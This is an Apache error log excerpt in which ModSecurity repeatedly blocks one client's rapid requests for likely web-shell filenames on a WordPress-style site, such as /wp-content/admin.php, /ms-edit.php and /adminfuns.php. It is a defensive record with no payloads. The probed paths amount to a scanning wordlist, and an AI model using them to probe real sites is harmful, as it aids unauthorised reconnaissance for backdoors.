[Tue Apr 21 16:35:59.952327 2026] [:error] [pid 53978:tid 54000] [client 98.71.67.66:16575] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aec2751ivsR4hcOSQbbCGgAAApQ"]
[Tue Apr 21 16:36:00.677412 2026] [:error] [pid 53978:tid 53989] [client 98.71.67.66:34257] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aec28J1ivsR4hcOSQbbCGwAAAok"]
[Tue Apr 21 16:36:01.384094 2026] [:error] [pid 53832:tid 53855] [client 98.71.67.66:1171] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aec28dzkuxsE_OhM9UI91AAAAlQ"]
[Tue Apr 21 16:36:02.096312 2026] [:error] [pid 54080:tid 54099] [client 98.71.67.66:30699] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aec28ozEbQHHxtmWbaZ1uAAAAtE"]
[Tue Apr 21 16:36:02.729860 2026] [:error] [pid 54080:tid 54089] [client 98.71.67.66:1334] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aec28ozEbQHHxtmWbaZ1ugAAAsc"]
[Tue Apr 21 16:36:03.361756 2026] [:error] [pid 53832:tid 53836] [client 98.71.67.66:1349] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aec289zkuxsE_OhM9UI93QAAAkE"]
[Tue Apr 21 16:36:04.586284 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:30669] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aec29IJW6fdXWO6agMFADQAAABI"]
[Tue Apr 21 16:36:05.274437 2026] [:error] [pid 35321:tid 35394] [client 98.71.67.66:1376] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aec29TeHLhVUuu8cVXzf2AAAAEo"]
[Tue Apr 21 16:36:06.292925 2026] [:error] [pid 35320:tid 35334] [client 98.71.67.66:1179] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aec29oJW6fdXWO6agMFAEgAAAAQ"]
[Tue Apr 21 16:36:06.878218 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:34882] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aec29oJW6fdXWO6agMFAFQAAAAo"]
[Tue Apr 21 16:36:07.762205 2026] [:error] [pid 35320:tid 35350] [client 98.71.67.66:65254] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aec294JW6fdXWO6agMFAGQAAABQ"]
[Tue Apr 21 16:36:08.336554 2026] [:error] [pid 4823:tid 4876] [client 98.71.67.66:34281] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aec2-Pc8mke3PfHqsxHZ4gAAAZc"]
[Tue Apr 21 16:36:08.965496 2026] [:error] [pid 53978:tid 54003] [client 98.71.67.66:34254] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aec2-J1ivsR4hcOSQbbCHwAAApc"]
[Tue Apr 21 16:36:09.540554 2026] [:error] [pid 53832:tid 53854] [client 98.71.67.66:34940] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aec2-dzkuxsE_OhM9UI94QAAAlM"]
[Tue Apr 21 16:36:10.165460 2026] [:error] [pid 54080:tid 54091] [client 98.71.67.66:17262] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aec2-ozEbQHHxtmWbaZ1yAAAAsk"]
[Tue Apr 21 16:36:10.782212 2026] [:error] [pid 54080:tid 54087] [client 98.71.67.66:49362] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aec2-ozEbQHHxtmWbaZ1ywAAAsU"]
[Tue Apr 21 16:36:11.464577 2026] [:error] [pid 4823:tid 4856] [client 98.71.67.66:16526] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aec2-_c8mke3PfHqsxHZ5AAAAYM"]
[Tue Apr 21 16:36:12.283171 2026] [:error] [pid 35321:tid 35387] [client 98.71.67.66:16523] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aec2_DeHLhVUuu8cVXzf2gAAAEM"]
[Tue Apr 21 16:36:12.893832 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:49360] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aec2_IJW6fdXWO6agMFALQAAAAk"]
[Tue Apr 21 16:36:13.540116 2026] [:error] [pid 54080:tid 54104] [client 98.71.67.66:24781] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec2_YzEbQHHxtmWbaZ1zQAAAtY"]
[Tue Apr 21 16:36:14.269694 2026] [:error] [pid 54080:tid 54098] [client 98.71.67.66:1368] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec2_ozEbQHHxtmWbaZ1zwAAAtA"]
[Tue Apr 21 16:36:14.973325 2026] [:error] [pid 53832:tid 53851] [client 98.71.67.66:1194] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec2_tzkuxsE_OhM9UI96wAAAlA"]
[Tue Apr 21 16:36:15.681657 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:49353] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec2_4zEbQHHxtmWbaZ11wAAAsM"]
[Tue Apr 21 16:36:16.332722 2026] [:error] [pid 54080:tid 54084] [client 98.71.67.66:34241] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aec3AIzEbQHHxtmWbaZ12wAAAsI"]
[Tue Apr 21 16:36:16.966524 2026] [:error] [pid 54080:tid 54083] [client 98.71.67.66:65231] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aec3AIzEbQHHxtmWbaZ13wAAAsE"]
[Tue Apr 21 16:36:17.645196 2026] [:error] [pid 4777:tid 4801] [client 98.71.67.66:30719] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aec3AaxXur6bykKyLZSPpgAAAQ0"]
[Tue Apr 21 16:36:18.328115 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:1180] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aec3AjeHLhVUuu8cVXzf3QAAAE8"]
[Tue Apr 21 16:36:18.988217 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:65273] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aec3AoJW6fdXWO6agMFAQgAAABI"]
[Tue Apr 21 16:36:19.788615 2026] [:error] [pid 35415:tid 35433] [client 98.71.67.66:34904] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aec3A0iqDinI4_22zzhfagAAAMY"]
[Tue Apr 21 16:36:20.368713 2026] [:error] [pid 35320:tid 35341] [client 98.71.67.66:30717] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aec3BIJW6fdXWO6agMFASAAAAAs"]
[Tue Apr 21 16:36:20.914337 2026] [:error] [pid 35322:tid 35366] [client 98.71.67.66:24786] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aec3BKPoAfV40BTfVKzK8wAAAIk"]
[Tue Apr 21 16:36:21.506900 2026] [:error] [pid 53832:tid 53843] [client 98.71.67.66:49392] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aec3BdzkuxsE_OhM9UI98wAAAkg"]
[Tue Apr 21 16:36:22.388515 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:34292] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aec3BjeHLhVUuu8cVXzf6QAAAFc"]
[Tue Apr 21 16:36:23.141118 2026] [:error] [pid 35321:tid 35402] [client 98.71.67.66:24774] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aec3BzeHLhVUuu8cVXzf6wAAAFI"]
[Tue Apr 21 16:36:23.853534 2026] [:error] [pid 35320:tid 35342] [client 98.71.67.66:16542] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aec3B4JW6fdXWO6agMFAXAAAAAw"]
[Tue Apr 21 16:36:24.679576 2026] [:error] [pid 53832:tid 53836] [client 98.71.67.66:34917] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aec3CNzkuxsE_OhM9UI99gAAAkE"]
[Tue Apr 21 16:36:25.818756 2026] [:error] [pid 35321:tid 35405] [client 98.71.67.66:1167] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aec3CTeHLhVUuu8cVXzf9gAAAFU"]
[Tue Apr 21 16:36:26.551294 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:17161] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aec3CozEbQHHxtmWbaZ1_wAAAs4"]
[Tue Apr 21 16:36:27.338952 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:26883] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aec3C4JW6fdXWO6agMFAZAAAAAk"]
[Tue Apr 21 16:36:28.582287 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Apr 21 16:36:28.963853 2026] [:error] [pid 35320:tid 35341] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Tue Apr 21 16:36:29.249100 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Tue Apr 21 16:36:30.116188 2026] [:error] [pid 35320:tid 35332] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Tue Apr 21 16:36:30.387509 2026] [:error] [pid 35320:tid 35336] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Tue Apr 21 16:36:30.823353 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Tue Apr 21 16:36:31.375886 2026] [:error] [pid 35320:tid 35342] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Tue Apr 21 16:36:33.002881 2026] [:error] [pid 35320:tid 35342] [client 98.71.67.66:34258] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Tue Apr 21 16:36:33.646472 2026] [:error] [pid 35320:tid 35335] [client 98.71.67.66:34258] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec3EYJW6fdXWO6agMFAhAAAAAU"]
[Tue Apr 21 16:36:34.453869 2026] [:error] [pid 35320:tid 35350] [client 98.71.67.66:24819] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec3EoJW6fdXWO6agMFAhwAAABQ"]
[Tue Apr 21 16:36:35.133771 2026] [:error] [pid 35320:tid 35349] [client 98.71.67.66:49352] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec3E4JW6fdXWO6agMFAjQAAABM"]
[Tue Apr 21 16:36:35.759284 2026] [:error] [pid 53731:tid 53752] [client 98.71.67.66:1152] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aec3E12I9THUR-bRVGznzAAAAhA"]
[Tue Apr 21 16:36:36.490204 2026] [:error] [pid 35320:tid 35345] [client 98.71.67.66:65232] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3FIJW6fdXWO6agMFAkgAAAA8"]
[Tue Apr 21 16:36:37.148658 2026] [:error] [pid 54080:tid 54104] [client 98.71.67.66:49405] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3FYzEbQHHxtmWbaZ2HQAAAtY"]
[Tue Apr 21 16:36:37.945923 2026] [:error] [pid 53978:tid 53985] [client 98.71.67.66:34899] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3FZ1ivsR4hcOSQbbCKAAAAoU"]
[Tue Apr 21 16:36:38.695294 2026] [:error] [pid 54080:tid 54088] [client 98.71.67.66:1168] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3FozEbQHHxtmWbaZ2IwAAAsY"]
[Tue Apr 21 16:36:39.425393 2026] [:error] [pid 53978:tid 53982] [client 98.71.67.66:1384] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aec3F51ivsR4hcOSQbbCKgAAAoI"]
[Tue Apr 21 16:36:40.457428 2026] [:error] [pid 54080:tid 54093] [client 98.71.67.66:1380] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aec3GIzEbQHHxtmWbaZ2KgAAAss"]
[Tue Apr 21 16:36:41.118418 2026] [:error] [pid 35321:tid 35408] [client 98.71.67.66:49396] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aec3GTeHLhVUuu8cVXzgAgAAAFg"]
[Tue Apr 21 16:36:42.755135 2026] [:error] [pid 53832:tid 53844] [client 98.71.67.66:34897] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aec3GtzkuxsE_OhM9UI-AgAAAkk"]
[Tue Apr 21 16:36:43.424150 2026] [:error] [pid 53731:tid 53759] [client 98.71.67.66:31986] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aec3G12I9THUR-bRVGznzwAAAhc"]
[Tue Apr 21 16:36:44.470001 2026] [:error] [pid 4823:tid 4868] [client 98.71.67.66:30664] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aec3HPc8mke3PfHqsxHaEgAAAY8"]
